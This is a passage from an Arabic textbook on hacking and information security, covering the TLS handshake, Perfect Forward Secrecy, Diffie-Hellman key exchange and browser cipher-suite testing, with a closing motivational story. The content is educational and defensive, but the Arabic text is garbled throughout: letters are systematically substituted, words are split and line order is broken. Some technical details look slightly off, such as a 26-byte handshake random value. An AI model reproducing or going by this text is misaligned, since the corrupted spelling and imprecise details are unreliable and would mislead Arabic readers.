‫‪ ‬املرحلة الثانية َ‬

‫‪Handshake Phase‬‬
‫تتم يف ذذه املرحلة عملية ال ‪ Authentication‬بني ال ‪ Client‬وال ‪ ،Server‬والتفاوض )‪َ (Negotiate‬حول نوع ال‬
‫‪ Cryptographic Algorithms‬وال ‪ Keys‬ا ُملستَخدَ مة يف تأمني لرسال ال ‪.Data‬‬

‫ماييل شكل يوضح ال ‪ Messages‬التي تتم طالل ذذه املرحلة بني ال ‪ Client‬وال ‪.Server‬‬
‫ُي َعد ال ‪ُ Handshake Protocol‬ذنا املسؤول عن عملية ال ‪ Authentication‬وال ‪ Negotiation‬ذذه‪.‬‬

‫‪Cryptography‬‬
‫]‪[393‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

“Client Hello” ‫وذي ال‬


َ Message ‫نبدأ بأول‬

Cryptography
[394]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

‫ وحتوي‬،Msg ‫ عن طريق لرسال ذذه ال‬Web Server ‫ مع ال‬Session ‫ ُذنا ببدء ال‬Client (Browser) ‫يقوم ال‬
:‫اآليت‬

Version
The Client sends the version number that it supports. For example, for SSLv3, the version
number is 3.0. For TLS, the version number is 3.1.

Random
‫ حيدُ ث‬Connection ‫ لكُل‬Client ‫ وال‬Server ‫ خيتار ُه كل من ال‬26 Byte ‫ذو عبارة عن رقم عشوائي ُمكون من‬
.‫بينهم‬

Session ID (if any)


This is included if the Client wants to resume a previous session. If the Session ID Length is 0, it
indicates a new session.

Cipher Suite
This is the list of cipher suites that are supported by the Client.
:‫ َسنَعرض أحدذم‬Cipher Suite ‫وكَمثال لتوضيح ذذا ال‬
)TLS_RSA_WITH_DES_CBC_SHA(
TLS is the protocol version, RSA is the algorithm that will be used for key exchange, DES_CBC
is the encryption algorithm, and SHA is the hash function.

‫؟‬..DES Cryptosystem ‫ ا ُملستَخدَ م مع ال‬CBC ‫ولكن ماذذا ال‬


‫ بغرض زيادة التعقيد يف‬Blocks of Data ‫“ ا ُملس َتخدَ َمة يف تشفري ال‬Modes of Operation” ‫لنه أحد ال أنواع ال‬
.Ciphertext ‫ وال‬Plaintext ‫العالقة بني ال‬
.WireShark ‫“ ت َّم التقاطها بال‬Client Hello” ‫ماييل مثال ل‬

Cryptography
[395]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫نستنتج من طالل البدائل املطروحة حتت ال ‪ cipher suites‬أن ذذا ال ‪ browser‬يدعم طاصية ال ‪ PFS‬وتعني‪:‬‬
‫)‪(Perfect Forward Secrecy‬‬
‫وذلك بسبب لعطاء أولوية لنوعني ذم )‪..(DHE and Elliptical DH‬‬

‫سنتحدث عن ذذه اخلاصية بعد قليل‪..‬‬

‫‪Cryptography‬‬
‫]‪[396‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫الحظ يف الشكل السابق الربوتوكول املُستخدَ م‪ ،‬وذو ال ‪ ،Handshake‬وال ‪َ Handshake Type‬‬


‫وذي ال ‪Client‬‬

‫ُ‬
‫حيث يعني أهنا ‪ Session‬جديدة!‪.‬‬ ‫‪ ،Hello‬أيض ًا ال ‪ Version‬وال ‪ُ ،Random‬ثم ال ‪ Session ID‬وقيمت ُه "صفر"‬
‫وأطري ًا يأيت لنا أذم ‪ Parameter‬يف ذذه الرسالة وذو اإلحتامالت أو البدائل التي َيعرضها ال ‪ Browser‬عىل ال ‪Web‬‬

‫‪ Server‬كي يقوم ال ‪ Server‬باطتيار واحدة من ذذه ال ‪ Cipher Suites‬ولبالغ ال ‪ِ Browser‬با يف الرسالة التي‬
‫وذي ال ”‪.“Server Hello‬‬
‫تليها‪َ ،‬‬

‫ماييل ‪ Message‬من نوع ‪ Hello‬قادمة من طرف ال ‪ Server‬تم التقاطها بال ‪:WireShark‬‬

‫نُالحظ يف السطر قبل األطري أن ال ‪ Web Server‬قام باطتيار أحد البدائل‪ ،‬ونستنتج من اطتياره ذذا ماييل‪:‬‬
‫‪The long-term keys are used both for the server’s authentication and for the session key‬‬
‫‪generation by means of RSA key exchange mechanism.‬‬

‫‪Cryptography‬‬
‫]‪[397‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫وذذا يعني أن ال ‪ server‬مل يتم ضبط اإلعدادات لديه ليختار أحد البدائل التي تدعم طاصية ال ‪ ،PFS‬تذكر ذذا ال‬
‫‪ cipher suite‬الذي اطتاره ال ‪ server‬ألننا سنتحدث عنه يف ققرة ال ‪.PFS‬‬

‫وذي ال ‪.Hello Message‬‬


‫وِبذا تنتهي أول ططوة يف ال ‪َ Handshake Phase‬‬
‫ذذا الشكل ُي ِّ‬
‫لخص لنا ذذه اخلطوة‪:‬‬

‫وذي ال ”‪“Authentication and Key Exchange‬‬


‫سننتقل لىل اخلطوة الثانية يف ذذا ال ‪َ Phase‬‬

‫تبدأ ذذه اخلطوة بأن يقوم ال ‪ Web Server‬بإرسال ال ‪ Certificate‬اخلاصة به لىل ال ‪ ،Browser‬وحتوي ال ‪Public‬‬

‫‪ Key‬اخلاص بال ‪.Server‬‬


‫ذذا ال ‪ Server’s Public Key‬سيستخدم ُه ال ‪ Browser‬بعد قليل يف اخلطوة الثالثة إلرسال ‪ Key‬جديد يقوم‬
‫سمى "‪ "Pre_Master_Secret Key‬لىل ال ‪.Server‬‬
‫بإنشاؤه ُي ّ‬
‫يتم لرسال ال ‪ُ Pre_Master_Secret_Key‬مشفر ًا بال ‪.. Server’s Public Key‬ذذه الرسالة تكون بعنوان‬
‫”‪“Client_Key_Exchange‬‬
‫سنُشاذدذا مع ًا يف اخلطوة الثالثة )‪ (Step 3‬لن شاءاهلل‪.‬‬

‫‪Cryptography‬‬
‫]‪[398‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫قيقوم ال ‪ Server‬بتطبيق ال ‪ Server’s Private Key‬عىل الرسالة و َع َمل ‪ recover‬لل ‪.Pre_Master_Secret Key‬‬

‫وما ذذا ال "‪.."Pre_Master_Secret_Key‬؟‬

‫الذم يف ُمعا َد َلة ل َع َمل ‪ generate‬ل ‪َ Key‬‬


‫آطر‪،‬‬ ‫يبدو واضح ًا من لسمه‪ “Pre_Master” ،‬أنه ‪ Key‬مؤقت َسيَستخدم ُه ك ُ‬
‫ذو ال ‪ ،Session key‬سنتعرض لليهم الحق ًا‪..‬‬
‫ماييل شكل يوضح اخلطوة الثانية يف ذذا ال ‪.Phase‬‬

‫نُالحظ لرسال ال ‪ Server‬لل ‪ Certificate‬يف أول ‪ .Message‬أيض ًا الرسالة الثانية التي بعنوان‬
‫”‪ “Server_Key_Exchange‬مكتوب بجانبها )‪!..(Optional‬‬

‫‪Cryptography‬‬
‫]‪[399‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫ملاذا؟‬

‫ألن ال ‪ُ Server‬ذنا قام باطتيار ‪ ،RSA key exchange‬بالتايل لن يكون بحاجه هلا‪ُ ،‬ثم ُينهي ال ‪ Server‬ا ُ‬
‫خلطوة الثانية‬
‫وخيطر ِبا ال ‪ Client‬أنه أهنى ذذه اخلطوة‪ ،‬وينتظر الرد من طرف ال ‪.Client‬‬
‫برسالة ”‪ُ “Server_Hello_Done‬‬
‫ماييل ‪ Session‬ألول رسالة أرسلها ال ‪ Server‬التي حتوي ال ‪.Certificate‬‬

‫الحظ أهنا حتوي ال ‪ Public Key‬اخلاص بال ‪( Server‬تم حتديده باألسفل)‪،‬‬

‫لىل ُذنا تنتهي اخلطوة الثانية يف ال ‪.Handshake Phase‬‬


‫ُثم تبدأ اخلُطوة الثالثة )‪(Step 3‬‬

‫‪Cryptography‬‬
‫]‪[400‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫وقيها َحيدُ ث التواقق بني ال ‪ Client‬وال ‪ Server‬عىل ”‪ “Shared Key‬قيام بينهم وذو ”‪“Pre_Master_Secret_Key‬‬

‫الذي ذكرناه من قبل‪.‬‬

‫سنقوم بتسليط الضوء عىل ال ‪ Messages‬ا ُملهمة‪.‬‬


‫يظهر يف الشكل الرسالة الثانية التي بعنوان ”‪.. “Client_Key_Exchange‬وبام أنه تم اطتيار ال ‪ RSA‬من قبل‪..‬‬

‫‪Cryptography‬‬
‫]‪[401‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫قهذه الرسالة ستحتوي عىل ال ”‪ُ ،“Pre_Master_Secret Key‬‬


‫حيث يقوم ال ‪ client‬بعمل ‪ generate‬له‪ ،‬وتشفريه‬
‫باستخدام ال ‪ ،Server’s public key‬ثم ُيرسل ُه لىل ال ‪.Server‬‬

‫ذذا ال ‪َ Key‬سيَستخدم ُه كُل من ال ‪ Server‬وال ‪ Client‬يف لنتاج ‪ Key‬آطر اسمه‪،“Master_Secret_Key” :‬‬

‫بمعاد َلة ُ‬
‫يدطل ِبا ال ”‪“Pre_Master_Secret Key‬‬ ‫وذو عبارة عن )‪ ،(One-time 48-byte value‬يتم لنتاج ُه ُ‬
‫وال ”‪.“Client and Server Random values‬‬

‫ذي التي قد تَم تبا ُدهلا أثناء ال ”‪ “Hello_Messages‬يف اخلطوة األوىل‪ ،‬ويتم ذلك بتطبيق ال‬
‫ذذه ال ‪َ Randoms‬‬
‫‪ Cryptographic Hash Algorithms‬عىل ذذه ا ُملدطالت‪.‬‬

‫ولكن ما قائدة دطول ال "‪ "Client and Server Random values‬يف ذذه العملية؟‬
‫ذذه ال ‪ُ Random‬ت َعد ب َمثابة ال ”‪ “Salt‬يف ذذه ا ُملعادلة‪ ،‬لكي تكون العالقة بني ا ُملدطالت وا ُملخرجات عالقة غري‬
‫ُمبارشه‪ ..‬حتدثنا عن قائدة ال ‪ Salt‬يف عملية التشفري من قبل!‪ ،‬ذل تتذكرذا؟‪ ..‬الشكل التايل يوضح تفاصيل الرسالة‬
‫التي قام ال ‪ Client‬بإرساهلا لىل ال ‪.Server‬‬

‫‪Cryptography‬‬
‫]‪[402‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫يقوم ال ‪ Client‬بعد ذلك بإرسال ”‪ ،“Change_Cipher_Spec‬وتعني أنه ُيبلغ ال ‪ Server‬بأن ال ‪ Messages‬التي‬


‫ستع ُقب ذذه الرسالة ستكون ُمشفره باستخدام ال ‪ session Key‬الذي تم تكوينه لدى كل منهم‪.‬‬

‫ولكن حلظة!‪ ..‬ذذا ال )‪ (Change Cipher Spec‬رأينا ُه من َقبل!‬


‫الربوتوكوالت الذي َ‬
‫كان يوظفهم ال ‪ SSL‬يف لدارة عملية اإلتصال‪.‬‬ ‫لن ُه أحد ُ‬

‫‪Change Cipher Spec Protocol‬‬


‫وذي نقل ال ‪ State‬احلالية بني ال‬
‫ذذا الربوتوكول يعمل يف ال ‪ Application Layer‬كام نعلم‪ ،‬ويقوم بوظيفة وحيدة َ‬
‫‪ Client‬وال ‪ Server‬من ال ‪ Pending‬لىل ال ‪.Current State‬‬

‫ماذذا ال ‪ Pending‬وال ‪..Current‬؟‬


‫من الواضح أنه طوال مرحلة ال ‪ Handshake Phase‬تكون ال ‪ State‬اخلاصة بال ‪ Connection‬بني الطرقني غري‬
‫ُمستقرة‪ ،‬وب ُمجرد حدوث اإلتفاق بينهم وتكوين ال ‪ ،Master Secret Key‬يقوم ذذا الربوتوكول بتغيري احلالة‬
‫بينهم‪ ..‬ببساطة يقوم بعمل ‪ update‬لل ‪ Cipher Suite‬كي يتم استخدامه هلذا ال ‪ Connection‬احلادث‪ .‬ونتيج ًة‬
‫لذلك‪ ..‬يبدأ الطرقني بعدذا بتَبا ُدل الرسالة ”‪.“Change_Cipher_Spec‬‬
‫ذذا يعني أن ذذه الرسالة ال يتم لرساهلا بواسطة ال ‪ ،Handshake Protocol‬بل يتم لرساهلا بالربوتوكول اآلطر‪.‬‬
‫وبعدذا يقوم ال ‪ Client‬قور ًا بإرسال رسالة ”‪ُ “Client_finished‬م َطبق عليها ال ‪ Algorithms‬وال ‪ Keys‬اجلديدة‪،‬‬

‫‪Cryptography‬‬
‫]‪[403‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫قيقوم ال ‪ Server‬بالرد عليه بإرسال ”‪ “Change_Cipher_Spec‬أيض ًا‪ ..‬متبوعة برسالة ”‪“Server_Finished‬‬

‫كام ييل‪:‬‬

‫يظهر يف الشكل بعد انتهاء رسالة ال ‪ Finished‬بداية تَبا ُدل ال )‪ (Application Layer Data‬ب َشكل آمن ّ‬
‫وِسي‪.‬‬

‫ولكن ماذذا ال ”‪ “Record Protocol‬الذي يظهر يف الشكل باألعىل؟‬


‫واضح أن ُه الربوتوكول املسؤول عن نقل ال ‪ Application Data‬بني ال ‪ Server‬وال ‪ .Client‬ذذا الربوتوكول يعمل‬
‫يوضح آلية عمل ذذا الربوتوكول‪:‬‬
‫قوق ال ‪ُ TCP‬مبارشةً‪ ..‬ماييل شكل ِّ‬

‫‪Cryptography‬‬
‫]‪[404‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫بنا ًء عىل الشكل‪ ،‬يستلم ذذا الربوتوكول ال ‪ Data‬من ال ‪ Application Layer‬ويقوم بعمل ‪َ Fragment‬هلا ُثم‬
‫ضغطها‪ ،‬ولضاقة ال ‪ Message Authentication Code‬عليها‪ُ ،‬ثم تشفريذا بال ‪ُ Key_Block‬ثم أطري ًا لضاقة ال‬
‫‪ Header‬اخلاص به عىل ال ‪ Packet‬وتسليمها لىل ال ‪ TCP‬لتَبدأ َع َملية نقلها لىل الطرف اآلطر‪.‬‬

‫دعني ُأريك ال ‪ SSL Protocol Architecture‬مر ًة أطرى بعد أن َقه َ‬


‫مت آلية َع َمله‪.‬‬

‫‪Cryptography‬‬
‫]‪[405‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

‫؟‬..Alert Protocol ‫ولكن ما وظيفة ذذا ال‬


َ “SSL-related Alerts” ‫ قهو يقوم بنقل ال‬..!‫يبدو واضح ًا من لسمه‬
‫ يتم نقلها داطل‬Alerts ‫ ذذه ال‬،‫بني الطرقني‬
‫ يتم تبادهلا يف حالة حدوث أي طلل‬،Fatal Alerts ‫ ُيسمى‬Alerts ‫ ُذناك نوع من ال‬.‫رسائل مضغوطة و ُمشفره أيض ًا‬
.‫ُمتع ِّلق بعملية التواصل‬
:‫ماييل َبعض ًا منها‬
unexpected_message: An improper message was received.
handshake_failure: The sender was unable to negotiate the Cipher Suite.
bad_certificate: A received certificate was contained a signature that didn’t verify
unsupported_certificate: The type of the received certificate is not supported.
certificate_expired: A certificate has expired.

‫ قهو ُي َعد من أذم الربوتوكوالت املُستَخدَ مة يف العديد من ال‬،SSL ‫ِبذا نكون قد أهنينا احلديث عن بروتوكول ال‬
.Applications

Cryptography
[406]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫)‪Perfect Forward Secrecy (PFS‬‬

‫قبل أن نرشع برشح ذذه التقنية‪ ،‬سنقوم أوالً باملرور ِسيع ًا عىل أذم ططوات املثال السابق‪..‬‬
‫يبدأ اإلتصال بعملية ال ‪ Handshake‬حيث تتم ال ‪ Authentication‬قيام بينهم‪ُ ،‬ثم التواقق عىل ال ‪session key‬‬

‫الذي سيتم استخدامه يف تشفري البيانات هلذه ال ‪ session‬وربام يمتد استخدامه لعدة مرات أطرى‪ ،‬وبعدذا يتم‬
‫التخلص منه‪ .‬ووظيفة ال ”‪ “key exchange phase‬ذنا ذي تأمني عملية انتقال ال ‪ session key‬قيام بينهم‪ .‬يف املثال‬
‫السابق تم استخدام ال ‪ RSA‬هلذه العملية‪ ،‬بمعنى أن ال ”‪ُ “server’s private key‬يستخدم حلامية ال‪.session key‬‬
‫لكن ذناك نقطة ضعف‪ ،‬وذي أنه لن تم وقوع ذذا ال ‪ private key‬يف يد أحدذم قسيتمكن من كشف ال ‪session‬‬

‫‪ key‬ومن ثم اإلطالع عىل حمتويات ال ‪ sessions‬التي دارت بينهم!‪.‬‬


‫وبالنسبة لىل ال ‪ Randoms‬التي تم استخدامها مع ال ‪ pre_master key‬لتقوم بدور ال ‪ Salt‬قإهنا ُمتاحة لدى ال‬
‫‪ attacker‬ألنه قد تم تبادهلا أثناء ال ‪ Hello messages‬بدون تشفري!‪.‬‬

‫ولكن أليس احلصول عىل ال ‪ private key‬أمر ًا صعب ًا؟‬


‫نعم‪ ،‬ولكن يستطيع أحدذم اإلحتفاظ ِبذه ال ‪ encrypted sessions‬لديه ربام لشهور أو سنوات لىل أن يستطيع كُس‬
‫ذذا ال ‪ key‬بتقدم التكنولوجيا حينها‪ ،‬أو أن يتمكن من الوصول هلذا ال ‪ server‬ونسخ ال ‪ key‬قيقوم باستخدامه‬
‫لفك تشفري ذذه البيانات التي قام باإلحتفاظ ِبا‪.‬‬
‫ومن ُذنا جاء ال ‪ ،Forward Secrecy‬حيث يعتمد قكرة أنه لن حدث ‪ compromise‬لل ‪ private key‬قإنه ال يؤثر‬
‫بالتبعية عىل ال ‪.session key‬‬

‫‪Cryptography‬‬
‫]‪[407‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

Ephemeral Diffie-Hellman ‫اإلنتقال لىل‬

..private key ‫ على ال‬session key ‫واآلن وبعد أن تعرقنا عىل نقطة ضعف اعتامد ال‬

.!‫ هلذه العملية ملا ل ُه من لمكانية رائعة يف التغلب عىل نقطة الضعف ذذه‬DH ‫سنقوم باستخدام ال‬
When we use Diffie–Hellman key exchange in SSL, it is only used for deriving a session keys,
the authentication of the server is done by the server’s private key.
The use of Diffie–Hellman key exchange is to use a separate method to derive session key
independent from the server's private key.
‫وكيف يتم ذلك؟‬
..‫سنوضح األمر بطريقة ُمبسطة‬

ِّ ‫ ويف نفس الوقت سن‬،DH ‫لنتصور مع ًا أنه وجود طرقان يتواصالن باستخدام ال‬
‫ُعرض ذذه القناة لالطرتاق لنرى‬
!‫مايمكن أن حيدث‬

Cryptography
[408]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫‪ ‬سيقوم ‪ Bob‬و ‪ Sara‬بالتواقق عىل لون قيام بينهام‪ ،‬وليكن اللون "األزرق"‪ ،‬قيلتقطه السيد‬
‫‪.. eavesdropper‬البأس!‪.‬‬
‫‪ُ ‬ثم يقوم كل منهم عىل حدة باطتيار لون آطر دون أن ُخيرب الطرف اآلطر به!‪ ،‬أي أنه أمر ِسي لكل‬
‫طرف‪ ،‬ققامت ‪ Sara‬باطتيار اللون "األمحر"‪ ،‬وقام ‪ Bob‬باطتيار اللون "األطرض"‪ ،‬و ُي َمثِّل ذذين‬
‫اللونني ال ”‪ . “private key‬ومل يتمكن ال ‪ eavesdropper‬من معرقة اللونني ألنه مل يتم تبادهلم عرب‬
‫القناة!‪.‬‬
‫‪ ‬وبعد ذلك يقوم كل طرف بخلط اللونني مع ًا‪ ،‬أي اللون األزرق مع اللون الُسي الذي تم اطتياره‪،‬‬
‫قينتج ذلك ال ‪ Mixed‬لكل منهم‪ .‬ذذا ال ‪ُ Mixed‬ي َم ِّثل ال ”‪.“Public key‬‬

‫وذنا يتمكن ال ‪ eavesdropper‬من‬


‫‪ ‬ثم يقوم كل طرف بإرسال ذذا ال ‪ Mixed‬لىل الطرف اآلطر‪ُ ،‬‬
‫التقاطهم!‪.‬‬
‫لكن مهالً‪ ..‬ذذا ال ‪ Mixed color‬لن يتمكن ال ‪ eavesdropper‬من حتليل األلوان الداطلة يف تكوينه!‪،‬‬
‫ذو ققط يستطيع رؤية ناتج عملية اخللط ذذه‪.‬‬
‫‪ ‬واآلن نأيت للخطوة األطريه‪..‬‬
‫يقوم كل طرف بخلط اللون الُسي اخلاص به مع ال ‪ Mixed‬الذي استقبله من الطرف اآلطر‪ ،‬قتكون‬
‫املحصلة لدى الطرقني متشاِبة‪ ،‬وذي األلوان الثالثة‪ ،‬األزرق واألمحر واألطرض!‪،‬‬
‫أي نفس ال ”‪ .“Key‬ونُطلق عليه ”‪.“shared key‬‬

‫ومل يتمكن ال ‪ eavesdropper‬من معرقة ذذا ال ‪ shared key‬بالرغم من جتسسه عىل قناة اإلتصال‬
‫بينهم!‪.‬‬

‫‪Cryptography‬‬
‫]‪[409‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

:‫الشكل التايل ُيعرب عن ذذه العملية باستخدام األرقام‬

 The number (1,048,576) is the shared secret.


 The numbers (16 and 32) are the public keys.
 The random numbers (4 and 5) are the private keys.
 The common number (2 in this example) would normally be passed system-to-system as
part of the application’s negotiation.

‫“ ذذه؟‬Ephemeral” ‫ قامذا تعني لفظة‬،Diffie-Hellman ‫لقد عرقنا قكرة عمل‬


‫ يتم اطتيار لونني‬server ‫ جديدة مع ال‬session ‫ بببدء‬client ‫ قفي كل مرة يقوم ال‬،‫باإلسقاط عىل مثال األلوان‬
PFS ‫ وذذا ماحيقق مفهوم ال‬.“New Random intgers” ‫ أي‬،‫ جديدين‬Secret Colors ‫ِسيني‬
ِّ
Static Diffie-Hellman key exchanges always use the same Diffie-Hellman private keys. So, each
time the same parties do a DH key exchange, they end up with the same shared secret.
When a key exchange uses Ephemeral Diffie-Hellman (DHE), a temporary DH key is generated
for every connection and thus the same key is never used twice. This enables “Forward Secrecy”.

* Note- The perfect forward secrecy offered by (DHE) comes at a price, “more computation”.
The (ECDHE) variants use elliptic curve cryptography to reduce this computational cost.

Cryptography
[410]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

‫؟‬..PFS ‫ يدعم ال‬Browser ‫ أو ال‬Server ‫كيف نعرف أن ال‬

:‫ ا ُملستخدم بينكم كامييل‬cipher suite ‫ سيظهر لك ال‬Server ‫عن طريق اإلتصال بال‬

 RSA keys are used here for authentication purposes


 ECDHE is for the key exchange
 AES is for the encryption itself

Cryptography
[411]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫أيض ًا يمكنك اطتبار أي موقع أو ‪ Server‬عن طريق ذذا الرابط‪:‬‬


‫‪https://www.ssllabs.com/ssltest/index.html‬‬
‫ماييل مثال ملوقع تم اطتباره بواسطة ‪Qualys ssl labs‬‬

‫وذذه ال ‪ cipher suite‬التي يدعمها ذذا املوقع‪:‬‬

‫‪Cryptography‬‬
‫]‪[412‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

،PFS ‫ التي تدعم ال‬cipher suites ‫الحظ لعطاء األولوية لىل ال‬

Protocol Details ‫وذذا آطر جزء وذو طاص بال‬

.Forward Secrecy ‫ويظهر ِبا طاصية ال‬

Cryptography
[413]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫يمكنك أيض ًا لجراء نفس اإلطتبار للمتصفح اخلاص بك!‬

‫‪Cryptography‬‬
‫]‪[414‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫ماييل نتائج اإلطتبار اخلاصة بال ‪ cipher suites‬التي يدعمها املتصفح اخلاص يب‪ ،‬وذو ‪FireFox‬‬

‫ذل تتذكر ذذا ال ‪.. cipher suite‬؟‬

‫‪Cryptography‬‬
‫]‪[415‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫لنه أحد ال ‪ cipher suites‬التي قدمها املتصفح لىل ال ‪ server‬أثناء مرحلة ال ‪ handshake‬عندما كنا نتحدث عن‬
‫بروتوكول ال ‪ ،SSL‬وأيض ًا قام ال ‪ server‬باطتياره!‪.‬‬
‫قض ً‬
‫ال عن أنه اليدعم ال ‪ ،Forward Secrecy‬قهو ُمصنف بأنه ضعيف!‪.‬‬
‫سنقوم اآلن بإلغائه من البدائل التي يقوم املُتصفح اخلاص يب بتقديمها باتباع اخلطوات املوضحة بالشكل‪:‬‬

‫نقوم بكتابة ‪ about:config‬يف الرشيط‪ُ ،‬ثم يف طانة البحث نكتب ‪ SSL3‬قيظهر لنا ال ‪ cipher suites‬التي يدعمها‬
‫املتصفح‪ ،‬قنقوم بإلغاء ذذا ال ‪ cipher suite‬الضعيف عن طريق جعل قيمته املناظرة ب ‪.False‬‬

‫‪Cryptography‬‬
‫]‪[416‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫واآلن سنعود مر ًة ُأطرى لىل ‪ ssllabs‬لنخترب ا ُملتصفح بعد ذذا اإلجراء لنتأكد من عدم ظهور ذذا ال ‪ cipher suite‬مع‬
‫البدائل التي يدعمها املتصفح‪.‬‬
‫ذاذي النتائج‪ ،‬واليوجد من بينها ال ‪ cipher suite‬الضعيف!‪.‬‬

‫لىل ُذنا نكون انتهينا من ققرة ال ‪.PFS‬‬

‫سننتقل اآلن لىل آطر ققرة يف ذذا الباب‪ ،‬وذي بعنوان ”‪“Success Algorithms‬‬

‫‪Cryptography‬‬
‫]‪[417‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫‪Success Algorithms‬‬

‫بام أنك اآلن أصبحت َر ُجالً َر َقمي ًا بامتياز ‪ ،‬دعني ُأقدم لك بعض اخلوارزميات ا ُملختارة التي ُيمكنُك اعتامدذا‬
‫دائم التَقدُّ م لىل األمام‪.‬‬
‫لتَكون َ‬
‫مت بإطالق لفظة "طوارزمية" عليها متاشي ًا مع موضوع ذذا الباب‪ ،‬الذي كان اخلتام لكتايب‪.‬‬
‫ُق ُ‬

‫سأحكي لك قصة من القصص الرائعة‪..‬‬

‫رض ُه ا َملوت‪..‬‬ ‫يف يو ٍم ما‪ ..‬كان أحد ا ُ‬


‫حلكَامء الصوقيون َحي ُ ُ‬
‫قسأل ُه أحدذم‪..‬‬
‫جللي َلة!‪.‬‬
‫استقيت منهم ذذه احلكمة ا َ‬
‫َ‬ ‫ققال‪ :‬أهيا العارف الكبري‪ُ ..‬دلني عىل أساتيذك و ُمع ِّلميك الذين‬
‫أردت ذلك ألطذنا شهور ًا ورا َء شهور أل ُد َ‬
‫لك عليهم!‪ ،‬وليس يف الوقت ُمتسع!‪.‬‬ ‫ُ‬ ‫قال الشيخ‪ :‬يا ُبني‪ ..‬لو‬
‫قال الشاب‪ :‬لذ ًا‪ ..‬قدُ لني عىل أذم أساتيذك!‪ ،‬عىل أروع ُمع ِّلميك!‪.‬‬
‫ققال الشيخ‪ :‬نعم‪ُ ..‬ذم ثالثة‪..‬‬
‫قال الشاب‪ :‬ومن ُذم؟‬
‫قرد الشيخ‪ُ :‬ذم لص!‪ ،‬وكلب‪ ،‬وطفل صغري!‪.‬‬

‫وبدأ الشيخ يُسد له قصت ُه مع ذؤالء ا ُملعلمني الثالثة‪..‬‬

‫‪Cryptography‬‬
‫]‪[418‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫استودعت مفتاح داري عند جارة يل كبرية يف السن‪ ،‬قأحسست باحلرج من أن‬
‫ُ‬ ‫الس َفر‪ ،‬وك ُ‬
‫ُنت قد‬ ‫ذات يوم من َ‬
‫دت َ‬‫ُع ُ‬
‫برجل يسألني‪ :‬ماذا بك؟‬
‫أوقظها يف منتصف الليل‪ .‬وبينام أنا كذلك‪ ،‬لذا ُ‬
‫قلت‪ :‬أود أن أقتح بيتي وليس معي املفتاح!‪.‬‬
‫قال‪ :‬أنا أقتح ُه لك‪ ،‬قهذه صنعتي!‪.‬‬
‫قفتحه ذاك الرجل بالفعل‪،‬‬
‫ققال له الشيخ‪ :‬لنزل عيل ضيف ًا الليلة‪.‬‬
‫والس َعة‪ ،‬قليس عندي بيت من األساس!‪.‬‬
‫قرد الرجل‪ :‬عىل الرحب َ‬

‫خيرج كل صباح باكر ًا باحث ًا عن رزقه‪ُ ،‬ثم يعود يف آطر اليوم طا َيل‬
‫يقول الشيخ‪ ،‬قنزل عيل ضيف ًا لبضعة شهور!‪ ،‬وكان ُ‬
‫اليدين‪ ،‬ومل يكن يعلم الشيخ أنه لص!‪.‬‬
‫ققد كان يتأمل ُه وذو يستيقظ كل يوم بكل حيوية ونشاط وينطلق للسعي عىل رزقه‪ ،‬ثم يأيت بال مال‪،‬‬
‫وكان يسأله الشيخ‪ :‬ماذا كسبت؟‪ ،‬قريد عليه‪ :‬ال يشء!‪ ،‬غد ًا لنشاءاهلل يأتيني الرزق‪ ..‬وذكذا‪..‬‬
‫قكان رجل عجيب!‪ ،‬ال ييأس‪ ،‬لديه لقبال عىل احلياة وطموح عاليني!‪ ،‬ال يتضجر من القضاء والقدر!‪.‬‬
‫قتعلمت من ُه الكثري!‪.‬‬
‫ُ‬ ‫قال الشيخ‪:‬‬

‫وذذه أول طوارزمية للنجاح ُأذدهيا لك!‪..‬‬


‫لت لليه من علوم أو معارف أو طربات!‪ ،‬ابحث دائ ًام عن كل‬
‫"ال تيأس"‪ ..‬لبذل مابوسعك دائ ًام‪ ،‬وال تطمئن ملا َو َص َ‬
‫جديد وال تركن لىل منطقة الراحة‪.‬‬

‫‪Cryptography‬‬
‫]‪[419‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

